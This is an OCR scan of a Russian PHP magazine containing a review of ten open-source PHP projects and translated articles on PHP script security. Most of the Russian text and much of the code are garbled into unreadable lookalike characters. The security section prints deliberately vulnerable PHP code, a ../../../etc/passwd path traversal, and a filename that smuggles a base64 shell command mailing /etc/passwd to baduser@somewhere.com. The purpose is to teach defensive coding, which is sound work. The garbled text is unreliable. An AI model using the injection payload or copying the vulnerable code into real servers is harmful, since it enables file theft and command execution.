Crarbs B3siTa C caifta: http://devlink.crimea.ua/
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Ce0b600HO pacripocmpaHsieMble

Ilpusooum rpamkuii 0630p Oecsamu PHP-related Open Source Aptop:
npoekmos, HatldeHHvIX 6 cemu MnmepHnem.

Amnnpeit Kozax

1) Crafty Syntax Live Help: yar-nonnep»xka noias3oBaTeneil.

URL: http://www.craftysyntax.com/CSLH/

Yoy, 208,220,

afoavore
it © s om0 g
s SR (oot Vs, v

Pa3mep apxuBa tar.gz nocnenneii Bepcun: 431603 Oaiira. o L

i Oyerstars:

OTa mporpamMma IO3BOJIAET YCTAHABIMBATH HA CAWTBI CIYKOy bt [P
o .. " i ]
MOAJEPKKA OHJIAWH. Y He€ MHOTO BO3MOXKHOCTEH: YBEIOMIICHHUS, . it
[r——3 B
MOIIEPIKKA MHO)KerTBa OTIepaToOpOB, BO3MOXHOCTh BECTH Cpa3y B —
HECKOJIBKO 4YaT-ceccuii U T.11. Bece 3To pabortaet mox MySQL. SR e

2) Legend of the Green Dragon: onLine-urpa
URL: http://lotgd.net

Pa3mep apxuBa tar.gz mocienHel Bepcuu: okoio 1 mbaiira.

MHorue u3 Bac cHbllIadd TPO TaKylw OHJIAMH-UTPY Kak

“boitoBcKHiA KIy0”. Hewmnoro MTOVICKaB Ha caiite
http://www.SourceForge.net, s Hamel 4YTO-TO I10JJOOHOE, TOJBKO
HaMHOTO MomiHee M uHTepecHee. J1o— “Legend of the Green

Dragon” — pemeiik BBS-urpsr “Legend of the Red Dragon”. 3necs ectsh
HECKOJIBKO pac, AOBOJIBHO OOIIMpHAs KapTa, HEKOTOPBIH CIOKET U MHOTO
BO3MOKHOCTEH st youiicte. © B o6mem, Combats.ru oTabIxaer.
EnuHCTBEHHOE, YTO OMpayaeT, Tak 3TO TO, YTO MIPa 3Ta HA AHTIHHCKOM
s3pIke. Ho HHMKTO BaM He 3ampemiaeT BOWTH B KPyr pa3pabOTYMKOB H
clenaTh pycckyro Bepcuio. ©

3) Mega Upload: nosne3Has yTuiura.

N e

URL: http://www.raditha.com/megaupload/ ==

The site with the lamp
File UPIOET WIRN Progress bar demo.

Pa3mep apxwuBa tar.gz nmocnenHeit Bepcuu: 19429 Gaiir. H| o

DrTa yTHIUTA MPEICTABISIET U3 ce0s 3arpy34mK (hailyioB IUTIOC Tak
HaszblBaeMblil Progress Bar 3arpysku. JIOBOJBHO WHTEPECHBIA IPOEKT.
OTy yTHINTY MOXXHO HCTOJib30BaTh B CMS wmnm B (aiin-menemxepax.
TTonnepxuBaercs Tpems si3bikamu: PHP, Java u PERL.

4) phpAdsNew: banHepHas cucreMa.
URL: http://phpadsnew.com.

Pa3mep apxuBa tar . gz nocnenneit Bepcun: 2441938 Gaiir.

OmHaxapl MHE MOHAT00MIach OaHHEpHAs CUCTEMA, | 5, YTOOBI HE
TEpATh HAIMPaCHO BPEMEHH, Cpa3y OTIPABUIICA HA TIOMCKH Ha CaWT
http://www.SourceForge.net.
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Tam s Hamien JOBONBHO MHTEPECHYIO CHUCTEMY IO Ha3BaHHEM
phpAdsNew. IIporpamMmma mpencTaBiseT w3 ceOsS MOIIHYIO OaHHEPHYIO
CHUCTEMY CO MHOXXECTBOM pa3JMYHBIX BO3MOXKHOCTEH: TOAIEpKKa
OaHHEPOB pa3HBIX pazMepoB u GopmaTtoB, FLASH-6aHHEpEI, pexiiaMHbIe
KaMITaHUW I Pa3nyHBIX  CAWTOB,  MHOTOIIOJIb30BATEIbCKUE
BO3MOXHOCTH, MOIIHBIH aJMUHUCTPATUBHBIA uHTEpdelc, cucrema
OTYETOB, BKJIOYasi MPOPHCOBKY IpaUKOB MPOCMOTPOB, BO3MOXKHOCTH
MIPOCMATPUBAaTh CTATUCTHUKY IS OTACIBHBIX CATOB aAMUHHCTPATOPaMU
3THX CalTOB, 3KCIIOPT CTATUCTUKH B (paiiibl hopMaTa Csv.

He w™oxer He pamoBarh cHCTeMa CKAadyWBaHHUS OOHOBJICHHM,
CTAaTHCTUKAa W YCTaHOBKA OaHHEpPOB IO CTpaHAM IUTIOC TOAJEPIKKa
pycckoro s3bika. B o6mem, phpAdsNew — 3To o4eHp XOpOIIHil TPOEKT.
ITo kpaiiHeit Mepe MHE OH OUYEHb TOHPABUIICS.

5) PhpDocumentor: reHepaTop 1OKyMEHTAIIH.

URL.: http://phpdocu.sourceforge.net/

Pa3mep apxwuBa tar.gz nocienHei Bepcuu: 2742436 Oaiir.

Ora yTWIWTAa TIO3BOJIIET TEHEPHPOBATh JOKYMEHTALUIO K
nporpammaMm B ctwie JavaDoc. JloBoapHO ymoOHas B DKCILIyaTalldd
wioc yxe ectb mnoaaepxkka PHPS5. S cam wd4acto BcTpedan
JOKYMEHTALMI0 K CKpUIITaM, CI€HEpUPOBAHHYIO 3TON mporpamMmmoi. B
o011eM, 3TOT CKPHUNT MOJOWUIET BCEM, KTO JENIaeT MPOTpaMMBI U 3aTeM
MUIIET K HUM JIOKyMEHTAITHIO.

6) PHP Base Library: sHabop kiaccoB s pa3paOOTYHKOB.

URL: http://phplib.sourceforge.net/

Pa3zmep apxuBa tar . gz nocneaneit Bepcun: 368207 Gaiir.

DTOT MPOEKT MpEACTaBIACT co00W HA0OP CaMBIX Pa3HOOOPA3HBIX
knaccoB. Co3iaH OH ObLI, BUAUMO, Ui TOTO, YTOOBI OOJICTYUTH JKU3Hb
HAYMHAIOIUM (M HE TOJIbKO) MPOrpaMMHUCTaM. ApXHB BKIIOYaeT B ceOs
MHOT'O KJIACCOB, CPEIU KOTOPBIX Kiacchl A pabotsl ¢ pasubiMu CYB/],
BBIMOJIHEHHWE 3aMPOCOB HA HUX, KIACCHI I aBTOPHU3AIMU W 3alUTHI,
pabota ¢ ceccusimu U Jip. B o0miem, pekoMeHy0 cKayatb. A €Ciii eCTh
JKEJIAHWE U CBOE TI0Ka3aTh - BIIEPE]] B PSA/IbI Pa3pabOTYMKOB! :-)

7) phpPgAdmin: yrunuta ans ynpasinenus bJl PostgreSQL

URL: http://phppgadmin.sourceforge.net/
Pasmep apxuBa tar.gz mocnenneit Bepcun: 458001 Gaiir.

PhpPgAdmin— »T0 OpaT BceM  W3BECTHOW  YTHIWTHI
phpMyAdmin, HO ToibpKO mis ympaBieHus PostgreSQL. MeHs odeHb
IopamoBaj 3HAaKOMBIH 10 0onu mHTEpdeiic, Xopore BO3MOKHOCTH H,
KOHEYHO K€, BEIHKHA pyCcCKuM s3bIK. Bcem, kTo paboTaer c
PostrgreSQL, aTa nporpamma noHpaBUTCsl.

CB0604HO pacnpocTpaHseMble
|
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8) Todolist: yrrnuta ansa senenus ciricka TODO

URL: http://todolist.sourceforge.net/

Pa3mep apxuBa tar . gz nmocnenuet Bepcuu: 101825 Gaiir.

Ora yrunamra  OyJdeT OdYeHb  MoJie3Ha  pa3paboTyrKam-
KOOpAMHATOpaM, KOTOpPBIE BELYT CBOM IIPOCKTBI U KOOPAUHUPYIOT

JIEWCTBUSI yYacTHHKOB mpoekra. B ocobenHoctn OpenSource. B aroit

MporpaMMe MOXKET OBITh HECKOJIBKO KOoOpAWHATOpOB. IlommepskuBaeTcst

4 ypoBHS BaXXHOCTH, J]aTa UCTEYEHUS CPOKa, KaJeHIaph H T.JI.

9) Turck MMCache: yckopurens mist PHP
URL: http://turck-mmcache.sourceforge.net/
Pasmep apxuBa tar . gz nocnenneit Bepcun: 117130 Gaitr.

OTa mporpaMMa HammcaHa cpasy Ha IByX s3bikax: Ha C u Ha PHP.
Taxxe cpa3dy Xodercs OTMETHUTh, HYTO OTO pa3paboTka HaIero
COOTEYECTBEHHUKA.

Mmﬂﬂll.ul | %w e
ey | Ve, b ta| Pt
B
o

|

OTta nmporpamMma npeacTaBJII€T U3 cebs MOAYJIb MJIA MOAKIIOUCHUS ssamsamins:

k PHP (wa C) mmoc ytwmmtsel ms pabotsl (Ha PHP). Ilporpamma
SIBIISICTCS.  OAHOBPEMEHHO  YCKOpHUTEJEeM, ONTHMH3aTOpOM, KOJIH-
poBuKkoM. MoHO cka3zath, uTo 3T0 OpenSource KoHKypeHT Zend
Encoder u Zend Optimizer. [lo 3asBnenuto aBropa Turck MMCache
naxe onepexaer Zend Optimizer.

10) WebChess: onnaiia-urpa

URL.: http://webchess.sourceforge.net/

Pasmep apxwuBa zip nocienHei Bepcuu: 96176 Gaiir.

OTO OdYeHb WHTEpecHass TMporpaMMa, TaKk Kak peaju3yer
BO3MOXXHOCTh UI'paTh B IIaxMaThl OHIalH. Mes 3Ta nanexko He HOBa, HO
1  paHplle HE  BCTpedyaJl  peaju3aludi0  CpeIcTBaMH  BeO-
porpaMMupoBaHusi. B aToil urpe akTuBHO Hcmonb3yercs JavaScript, 6e3
KOTOpOTO Wrpa He ObLIa OBl TakoW ymoOHOW W kuBoW. OmHAKO camblit
OobLIOH mIHoC — 3TO0 TO, uTo oHa OpenSource.

ot e casing.jost e e kg (s ook o cuomesial)

RISTORY

ol o |
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Camvitl npocmoti cnocob (xoms um waue 6ce2o u npenebpezaion) ABTOP:
UCKTIOUUMb  BCAKYIO 803MONCHOCHb CKOMNPOMEMUpo8ams 8aul Koo -
3a0YMAMbCsL 0 MAKUX BO3MONCHOCMAX ewé HA CMaouu e20 HaANnUCAHUs.
Ouenw 6adcHo omoasams cebe omuém o mom, umo u eaut koo seisiemcs IlepeBon:

uacmovio cucmemul 3aujunasl. I[aHI/IJ'I MI/IpOHOB

John Coggeshall

HackornbKko saxHo 3adyMbieambcs 0 be3onacHocmu

[lpuBeném B kauecTBe mpuMepa HEOONBUIYIO (YHKIHMIO, KOTOpas
MpHU3BaHa OOJETYHUTh KU3Hb OeHOMY AeBenonepy, nuurymemy u3 PHP-
CKpHIITa B OOJIBIIOE KOJHMYECTBO TEKCTOBBIX (aiioB (Jluctunr 1):

<?php
function write text (Sfilename, Stext="") {
static $open files = array();

// ecnu filename paBeH null, TO BakKpHBAEM BCE OTKPHITHE (AL
if ($filename == NULL) ({
foreach (Sopen files as Sfr) {
fclose (Sfr) ;
}
return true;

}
Sindex = mdb ($filename) ;

if (!isset (Sopen files[$index])) {
$open files[$index] = fopen ($filename, "at");
if (!Sopen files[$Sindex]) return false;

}

fputs ($open files[$index], Stext);

return true;

Jlucmune 1

Ora QyHKIHMS TO YMOJYaHHIO TPUHUMAET JBa Mapamerpa: UMs
(aifima M TEKCT, KOTOPBI HEOOXOAMMO 3alMuCaTh B TOJBKO HYTO
ykazaHHbIH Qain. CHadana QyHKIUs npoBepsieT, He OblI i daiin yxe
OTKpBIT paHee, W eciau (Al OTKPHIT, OyIeT HCIOJIB30BaH CTapbIil
yKazaTenb. B mpotuBHOM ciydae OyZeT HpPOCTO OTKPBHIT yKa3aTelb Ha
(daiin. B mrobom cmydae pamee mocieayeT 3amuch Tekcra. Ecnm
nepenanHoe B QyHKOHWIO uMs daitna paBHO NULL, TO BCE OTKPBITHIC
yKa3aTeJu Ha Qaiiiel OyayT 3aKpbIThl. Huke — mpuMep MCTIONb30BaHHUA.

Ecnmu 3amuce B ¢ainel pazpaboTyuk OyAeT MPOU3BOIUTH C
MOMOIIIBIO 3TOM (PYHKIIMH, TO €ro KOJ| CTaHeT 0ojiee MPO3padyHbIM U
NOHSTHBIM. JIOMyCTHM Temnepb, YTO (QYHKIHUS 3Ta JIGKHT B OTIEIHHOM
(aiine, KOTOpBIA BKIIOYAETCS B CKPUITHI, KOTOPHIM OHAa HYyXHa. B
JUCTUHTE 2 HAXOJWUTCS OJIMH W3 TaKWX CKPUITOB, HA3bIBACTCS OH
quotes.php.
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<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
BriBepuTe TeMy BHICKAa3LBAHMUA:

<select name="quote" size="3">

<option value="funny">lmop</option>

<option value="political">Nomurura</option>

<option value="love">0 mo6Bu</option>

</select><br />

The quote: <input type="text" name="quote text" size="30" />
<input type="submit" value="Save Quote" />

</form>

</body></html>

<?php

include once('write text.php');

Sfilename = "/home/web/quotes/{$ GET['quote']}";
Squote msg = $ GET['quote text'];

if (write text($filename, $Squote msg)) {
echo "<center><hr><h2>BrickasrBaHue coxpaHeHo!</h2></center>";
} else {
echo "<center><hr><h2>Oumbka OpPY BaOMCKU BHICKa3HBaHMAL/h2></center>";
}
write text (NULL) ;
2>

Jlucmune 2

Wtak, xak BBl BUAWUTE, Pa3pabOTUMK HCIIONH30BAJ HAHMCAHHYIO
byHkuMio write text () IHpH CO3JaHUM CHCTEMBI, MO3BOJIAIOIIEH
[I0JIb30BATEJIAM  OTIIPABISITH MX JIIOOMMBIE BBICKAa3bIBAHMS, KOTODBIC
3aTeM COXpaHSAlTca B TekcroBble (Qainbl. K coxanenuro, XoTs
pa3paboTuuK 00 3TOM W HE AOTaIbIBACTCSA, STOT CKPUIT MOXKET OBITh
HCIOJB30BaH 3JI0YMBIIUIEHHUKOM U1 00X0[a CUCTEMBI 3alllUThl Ha BeO-
cepBepe.

Bo3moxkHO, ceiiyac BBl yemere B 3aTBUIKE M IBITAETEChH
OpuAyMaTh, KaKk Takoil MaleHbKWH W Bpojae Obl 0e300MIHBIA CKPUIT
MOXET TPEACTABIATh TaKyl OMAcHOCTh. JlajHO, BMECTO TOTO, YTOOBI
OCTaBUTh Bac NAapUTbCS © JOTAABIBAThCS CaMUM, MpeJiararo
paccmotperh nipuBeaéHHbI Hke URL (He 3a0biBaem, uro daiin co
CKPHIITOM Ha3bIBaeTcs quotes.php):

http://www.somewhere.com/fun/quotes.php?quote=different file.dat"e text=garbagetdata

Uro xe Oyxer, eciu cepBep mosydut 3ampoc ¢ takum URL? Hy,
HECOMHEHHO, CKpHIIT quotes.php OylneT BBIIOJIHEH; HO BMECTO
3aliCH BBICKA3bIBAHUS B OJWH W3 TPEX TPEAYCMOTPEHHBIX (paiioB
cosnactcs HOBbIM Gaiin different file.dat [apyroii caiin.dat], u
B Hero Oy/eT IMpou3BeeHa 3amuch CTpoku garbage data [Beskuil xiam].
OdeBHIHO, HE TO, [T YETO THCAJIC CKPHUIIT.
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Ha camom jerne 370yMBIIUIEHHHK MOT ObI Ja)ke CO31aTh HOBYIO
YU€THYIO 3aMUCh, MoyurB B Unix jgoctym K daiiry ¢ mapoisiMu, yKa3as B
mapametpe ../../../etc/passwd (XOTS 5TO BO3MOXHO IIpH
YCIOBUH,  YTO  CEpBEpP  HUCIONHSAET  CKPUNTHI  HA  MpaBax
CYIEpITOIL30BATENS;, €CIM 3TO YCJIOBHE BBIMOJHSACTCSA, TO BaM HAIO0
HEMEJJICHHO MpPEKPaTUTh YTEHHE W MOOBICTpEH WCIPaBUTh TaKoe
MOJIOKEHUE JIET).

HagepHoe, camblii cepbE3HBIN Bpel, KOTOPBIA MOXHO HAHECTU C
MOMOIIBIO JAHHOTO CKPHUITa, — 3TO 3allUCh U HUCIOJHEHHE PAa3INIHBIX
PHP-ckpunros, eciu €CThb JHAPEKTOpHUS
/home/web/quotes/ noctymHa uepes 3ampoc K cepBepy. Panrazus
3JIOYMBIIJICHHUKOB OCCKOHEYHA.

CymiecTByeT HECKOJIBKO pemeHmid. Ecmm  ¢aitioB  HeMHOTrO,
WCIIOJB3YWTE acCOLMATUBHBIA MacCUB Uil XpaHeHud ux uMEH. Ecmum
3ampanuBaeMblil (DaiiyT ecTh B HAIlleM MAacCHBE, TO IMHCATh MOXHO. Mm
em€ MOXKHO OTpe3aThb W3 3allpallliBaeMOro WMEHH Bce He udpo-
OYKBEHHBIE CHMBOJBI, HCKIIOYAB TEM CaMblM IPOHHKHOBEHHUE
pazmenuteneid i Aupekropuil. Mnu, Hampumep, MOXXHO MPOBEPSTH
pacmpenue ¢aiina, 4ToObl YOEIUTHCS, YTO CEpBEpP HE MOMYHUTCS €ro
UCIIOJIHATb.

Mopaib npocra. Kak pa3paboTurky, BaM HY»HO 3aJlyMBIBaThCS HE
TOJBKO O TOM, YTO CHEJAeT Balll CKPUOT B IUTAaTHBIX YCJIOBHAX. UTO
CIIy4HTCs, €cii (popMa MpUIUIET HEKOPPEKTHbIC aaHHbIe? EcTh nm y
3JIOYMBINUJICHHUKA BO3MOKHOCTh M3MEHHUTH MOBeeHHE ckpunta? Kakue
MEpbI MPUHUMAIOTCS JIJISl OTpaXkeHHs o00HBIX atak? CucTema 3aluThl
BAllIETO CEpBepa W CKPUITOB, KaK BCErJa, OIEHWUBAETCS IO CaMOMY
ctaboMy 3BeHy; TaK YTO CTOWT O03a00THUTHCS TOMCKOM BO3MOKHBIX
Operieii, ”HaYE TO CAETAIOT 32 Bac.

TunuyHblie owubku, cesi3aHHbIe ¢ 6be30rnacHoOCMbHO

UroObl 3a7aTh HECKOJIBKO HAIPAaBICHWH Ui BMKCHHS BaIIdX
MBICTIEH, TIPUBEAY KPAaTKUA W AAJEKO HE MOJHBIA MepedeHb OMMNOOK B
KOJ€ WIM B aJMHUHHCTPUPOBAHWM, HAJINYME KOTOPBIX MOXKET
CKOMIIPOMETHPOBATH CUCTEMY 3aIlUTHI:

Ouwubka 1. Koeda mbl dogepsiem 8xXo0059uUM OaHHbIM

Huxorna Henb3s NOBEpSATh NaHHBIM, NPUINEAIIAM H3 BHELIHHX
HCTOYHHMKOB, HTO M CTAaHET OCHOBHOM TEMOH MOHUX PACCYXACHHU O
Oe3omacHocTr puMeHUTEenbHO K PHP-ckpuntam. HeBaxno, nmpumnmmm i
9TH AaHHBIE U3 (OPMBI, U3 JIOKAJBHO PACIONIOKEHHOTro (aiina uin u3
IIEPEMEHHOM OKpY)KEHHUs, HWYEro He INpUHUMaiiTe Ha Bepy. Bce
NOJb30BAaTENLCKUE  JaHHBIE  JOJDKHBI ~ OBITh  TPOBEPEHBI U
oTopMaTUpOBaHbl, TaK, YTOOBI MBI MOTJM OBITH YBEpEHBHI B UX
0e3BpEIHOCTH.
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web-cepeepa

Bce ys3BUMBIC JaHHBIE JOJDKHBI XPAaHHUTHCS B OTICIBHOM OT
cKpumTa Qaiiyie ¥ B JUPEKTOPHU, HEJOCTYIIHOW uepe3 3ampoc K web-
cepepy. Korjga Bo3HMKaeT HEOOXOJMMOCTh B JTHX JIaHHBIX, (haiin
MPOCTO TOAKIIOYAETCSI K CKPUNTY IOCPEACTBOM redquire () WIHA
include ().

6e3onacHocmu

B pyxoBoactee xk PHP [To ecTb B MaHyane] pa3nn4HbIM Mepam
0e30macHOCTH TMpH HAlMCaHWUM W wucnonb3oBaHuu PHP-ckpumtos
MOCBAMIEH 1enbld pasnen. M B MaHyane (mOYTH) BCErja MPOCTO U
MIOHATHO OIHCAaHBl KOHKPETHBIE CHUTYaIlMH, KOTJa CYLIECTBYET PHCK
KOMIIPOMETAllUd CHUCTEMBI 3allUThl, a TaKKe IPHUBEIECHBl METO/bI
MUHUMH3AIMK 110100HOTO pucKa. OIATh K€, IMEHHO Ha pa3pabOTYMKOB
W aJMUHUCTPATOPOB CHCTEMBI, HE YIENUBIINX JODKHOTO BHUMAHHA
TOMY WJIK HTHOMY acIeKTy 0€30TIaCHOCTH, MOJIArafoTCs 3710y MBIIIIJICHHUKHT
B CBOMX JICHCTBMSIX, HANPABJIEHHBIX HA IOJyYEHHUE JOCTYNA K CHCTEME.
BaumaTtenbHOe  OpoYTeHHE ~ MPEAYNPEXACHUM W3  MaHyala U
COOTBETCTBYIOIIME  MEpPbl  3HAUUTEIBHO  COKpPAILAlOT  LIAHCHI
37I0yMBIIIJICHHUKOB NPHUHECTH KaKOW-TMOO0 3HAYMTENbHBIA Bpen Bamiei
CUCTEeME.

Huxorga wHemummne emé pa3 HANOMHHUTb BaM, Kak BaKHO
3aAyMbBIBAaTbCd O 3allUTC BalllUX CCPBEPOB OT 3JIOYMBIIIJICHHUKOB.
OTHBIHE BaM HY>KHO CMOTpPETh Ha Balll KOJ| B COBEpPIIEHHO HOBOM CBETE.
Hewmnoro OIlbITa, W Bbl HAYYHUTECh OIO3HABAaTh BCC IOTCHIMUAJIbLHBLIC
Opemm B 3amuTe emE A0 TOro, Kak BBl peajn3yere UX B CBOEM Koje. B
CIemyromel CcTaThe S paccKaky o eme HECKOJNIBKHX Ccrocodax
KOMITPOMETAITMN CHCTEeMBI Oe3omacHocTH B PHP-ckpumnrax, a takxke o
METOJIaX MHHUMU3AIINHU TTIOJOOHBIX PUCKOB IIPH pa3padoOTKe.

Jxon Korrcxom (John Coggeshall): cnemmamict u omuH u3
co3nareneid PHP. Henoceimanust no npuurne PHP Hauanuce okono msitu
JIET Ha3aj.

Cratbs B3dTa ¢ caitra: http://detail.phpclub.net

Quwubka 2. Koe0a mbl xpaHUM ysi38UuMble OaHHble 8 depeage

Ouwubka 3. Koeda mbl uzHopupyem pekomeHOauuu rno
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B PHP npedycmompeno HecKoibko cpedcmeé OJid 8blNOIHeHUs ABTOP:
cucmemuvix 6v130806. Hy a eciu nodpobnee, mo system(), exec(),
passthru(), popen() u onepamop obpamuas kaeviuxka [backtick] (')
N0360NAOM  GLINOAHAML  KOMAHObL  onepayuonuou  cucmemwvt IlepeBon:
Henocpedcmeenno u3 PHP-ckpunma. U xadgcoas u3z nepewucieHuvix
@yuKyull npU HeadeK8AMHOM UCHONLIOBAHUL MOJCEm NpedoCmasumy
310YMBIUUIEHHUKY O02POMHbIE BO3MONCHOCIU UCNOJIHEHUSI CUCTEMHbBIX
KomMaHO Ha eauiem cepsepe. Kax smo 0Ovino u 6 ciyuae ¢ docmynom x
Gaiinam, 60IBUUHCIBO ObLP NOAGIAEMCS, K020a4 MEKCM KOMAHObL
CcOCmagnaemcs Ha OCHO8e HeDEe30NACHbIX OAHMbIX, MNOJYHEHHbIX CO
CMOPOHBL.

John Coggeshall

Janun Muponos

[lpumep ckpunma, cooepxxauweao cucmeMHbIlU 8b1308

IlpencrtaBuM  cebe  CKpPHUNT, KOTOpBIM  mojydaeT  daiin,
3arpy’kKeHHbIN Ha cepBep mo http [upload-daiin], cxxUMaeT ¢ MOMOIIBIO
Zip, a TOTOM TIEPEMEIIAaeT €ro B OMNPEACICHHYI0 TUPEKTOPUI0 (TI0
yMom4aHuo 310 /usr/local/archives/). Koa mnpusenen B
JmycTuHre 1.

<?php
Szip = "/usr/bin/zip";
Sstore path "/usr/local/archives/";

if (isset($ FILES['file']l)) {

$tmp_naae = $ FILES['file']['tmp name'];
Scmp name = dirname ($ FILES['file']['tmp name'])
"/{S_FILES['file']['name']}.zip";

Sfilename = basename (Scmp name) ;

if (file exists(Stmp name)) {
Ssystemcall = "$zip Scmp name S$tmp name";
Soutput = “S$systemcall " ;

if (file exists(Scmp name)) {
Ssavepath = S$store path.S$filename;
rename ($cmp_name, S$savepath);

?>

<form enctype="multipart/form-data" action="<?php

php echo $ SERVER['PHP SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX FILE SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>

Jlucmune 1
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HecMmotps Ha KaXXyIIyrocs MpO3PaYHOCTh CKpHIITa,
3JIOYMBIIJICHHUK MOXET MCIIOJIb30BaTh €r0 B CBOMX LIEIIX ax
HECKOJIbKMMH crnoco0amMu. Camoe omacHoe MECTO — TaM, I'A€ MBI

WCTIONHSEM KOMaHIy ckatus (aiima (oOpaTHas KaBBIYKa), a UMEHHO
CIIeTyOIIHNE CTPOKH:

<?php
if (isset($ FILES['file'])) {
Stmp name = $ FILES['file']['tmp name'];
Scmp name = dirname ($ FILES['file']['tmp name'])

W/{$_FILES['file']_['name']}.zip";
Sfilename = basename (Scmp name) ;
if (file exists(Stmp name)) {

S$systemcall = "$zip Scmp name S$tmp name";
Soutput = “$systemcall’;

Kak obmaHymb ckpunm u 3acmasume e20
ucCrosiHaIMe pa3sru4dHele shell-komaHOobl

Nrak, 6€300MIHOCTE CKpHUNTa OOMaHYMBA: JIFO0O0H IMOIH30BATEIb,
KOTOPBI MOXET aruioaguTh ¢aiia, MOXET W HCIOJHITh JOObIe
koMaHpl! JTa ibIpa B 6€30MaCHOCTH 00s3aHa CBOMM IOSIBIICHHEM TOMY,
Kak 3a1a€Tcsl 3HaYeHHEe IepeMeHHoN Scmp name. ITockonbKy B JaHHOM
KOHKPETHOM Cllydae pa3paOOT4HK 3aX0Tesl, YTOObl UMs ckaToro (aiina
comepxkaio uMms upload-daiina (mIroc pacmmpeHue  .zip), ObUIO
UCIIOJIL30BAHO 3HAY€HHME nepeMeHHor S FILES['file'] ['name']
(conepxameri ums upload-aiina, kakumM OHO OBUIO Ha KJIMEHTCKOH
MmamHe). M BOT MMEHHO B 3TOM Cilydae 3J0yMBIIUIEHHHK MOMET
MOJHOCTHI0 U3MECHUTH MOBEACHUE CKPHIITA: OH MOXET 3arpy3uTh (aiin ¢
UMCEHEM, COJIEPIKAIUM CIIeUabHBIE CUMBOIIBI, HHTEprpeTupyembie OC.
Hanpumep, 4to cimydwrcsi, eciy TOJb30BaTeNb CO3JacT IyCTOH (aiin
TakuM MaHepoM (13 koMaHaHO# cTpokn UNIX)?

[user@localhost]# touch ";php -r '\Scode=base64 decode (\\
\"bWFpbCB1iYWR1c2VyQHNvVDLWV3aGVyZS5)b20gPCAVZXRIL3Bhc3N3ZA==\\\") ;
system (\Scode);';"

Ota KoMaH/1a co3/1acT (ailyl ¢ TAKUM UMEHEM:

;php -r 'Scode=base64 decode (
\ "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAVZXRIL3Bhc3N3ZA==\") ;
system($code) ; ';

Crpannoe ums, aa? [lpaBunbHO, 3TO "HMs" TOXO0XKE Ha TEKCT
Hekoi koManabel CLI Bepcuu PHP.
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Komana 3Ta BRITOTHSIET CIICTYIONTHI KO:

<?php

$code=base64 decode
("bWFPbCB1iYWR1c2VyQHNVbWV3aGVyZS57b20gPCAVZXRIL3Bhc3N3ZA==") ;
system ($code) ;

>
Eciau BBI, M3 JIO0OMBITCTBA, BBIBEAETE 3HAYCHUE IEPEMEHHOM
$code, TO YBHIIUTE, 4TO OHO paBHO mail
baduser@somewhere.com < /etc/passwd. W ecam

N0JIB30BaTENb 3arpy3uT 3ToT aiin, n Ham PHP-ckpunr 3aiiMércs um, To
KOTJa CKPUIT HAauyHET BBINONHATH CUCTEMHBIH BBI30OB AJISI CKATHs (aiina,
TO Ha CAMOM JIEJI€ OH BBIIIOJIHUAT CIEAYIOLLYI0 KOMaHJy:

/usr/bin/zip /tmp/;php -r
'Scode=base64 decode (

\ "bWFpbCB1YWR1c2VyQHNVbWV3aGVyZS5jb20gPCAVZXRIL3Bhc3N3ZA==\") ;
system ($code); ';.zip /tmp/phpY4iatI

Bot u BcE, To, 4TO BBI ceiiuac yBWIENH, YK€ HE OJHA, a TPH
komaHzbl! Kak Tonmbko 0005109Ka MPOMHTEPIPETHPYET TOUKY C 3arsITON
(), o3HavaromIyo (IMOCKOJBKY HE 3aKJIFOUEHA B KaBBIUKH) KOHEI[ OJHOMN
KOMaHAbl U Havyano npyroit, PHP-pyHkma system () Ha camom gene
BBITIOJTHHT 3TO:

[user@localhost]# /usr/bin/zip /tmp/

[user@localhost]# php -r

'Scode=base64 decode (
\"bWEFpbCBiYWR1c2VyQHNVDbWV3aGVyZS5jb20gPCAVZXR]L3Bhc3N3ZA==\") ;

system ($code) ;'

[user@localhost]# .zip /tmp/phpY4iatl

Kax BwI Bunute, Bpoje 661 6e300uansiii PHP-ckpunT nmpenoctaBui
BO3MOXXHOCTh UCIIOJIHEHHUS Pa3IMIHBIX CUCTEMHBIX KOMaH/, B TOM YHUCIIE
n wucnonnenune apyrux PHP-ckpunroB! Konewno, stor mpumep
cpaboTaeT TOJIBKO Ha CHCTEMAax, IZIe MOJIb30BaTeNb, OT UMEHH KOTOPOTO
3amymieH BeO-cepBep, mMmeetr B cBoed PATH mepemennoit CLI Bepcuto
PHP (a He momxken Obl). OmHako, Ha TOM K€ MPHUHITUIIE MOXKHO
IIOCTPOUTH U IPYTHE CITOCOOBI TIOMYUYESHHS TOJTOOHOTO pe3ybTaTa.

Kak 3awjumumscsi om amak, c853aHHbIX C
cucmemMHbIMU 8bI308amMu

I'maBHOE 371€Ch, KaK M paHbIIIE, HUKOT/A HE JOBEPSITHh NAHHBIM W3
BHEIIHUX MCTOYHHUKOB, KaKOW OBl HM OBUT KOHTEKCT WX HCIIOJIb30BaHUSI.
Bo3nukaer Bompoc, Kak ke n30eKaTh MoJ0OHBIX CUTYaluid IpH paboTe ¢
CHUCTEMHBIMH BBI30BaMH (OTKa3 OT CAMUX CHCTEMHBIX BBHI30BOB 3/I€Ch HE
paccmarpuBaercs). s 6oprObI ¢ aTuM Hexyrom PHP mpemmaraer nmse
dbyskmn: escapeshellarg () mescapeshellcmd ().

®yHK1MA escapeshellarg () npegHasHayeHa il YyCTPAHEHHUS
WM KaKOT0-JIM0O MTHOPUPOBAHMS MOTEHIIMAIBLHO OMACHBIX CHMBOJIOB B
MOJTyYEHHBIX OT IIOJIB30BaTeNsl AaHHBIX. Pesymbrar paboTsl (QyHKIMH
MOXET UCHOJB30BAThCS KaK apryMEHT K CUCTEMHOM KoMaHje (B HallleM
ciydae 3To zip).
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Cunrakcuc (GyHKIIMH TaKOH:

‘escapeshellarg($string)

3nech $string — 3TO cTpoKa Ais "3a4MCTKHU'", a BO3BpalllaeMoe
3HAQUYEHHUE U €CTh ''3auMIleHHas" cTpoka. DYHKIUS 3aKIH0YAET CTPOKY B
apryMeHTe B OAMHApHBIC KaBBIYKHU U JAE3aKTUBUPYET (TO €CTh MpenBapser
ClIeIIeM) Bce OJMHAPHBIC KaBBIUKH, yXe colepikaliuecs B cTpoke. B
HalleM TpUMepe, €M Mbl J100aBUM Iepel CUCTEMHBIM BBI30BOM JBE

CTPOKH:
<?php

Scmp name = escapeshellarg(Scmp name) ;
Stmp name = escapeshellarg($tmp name);
?>

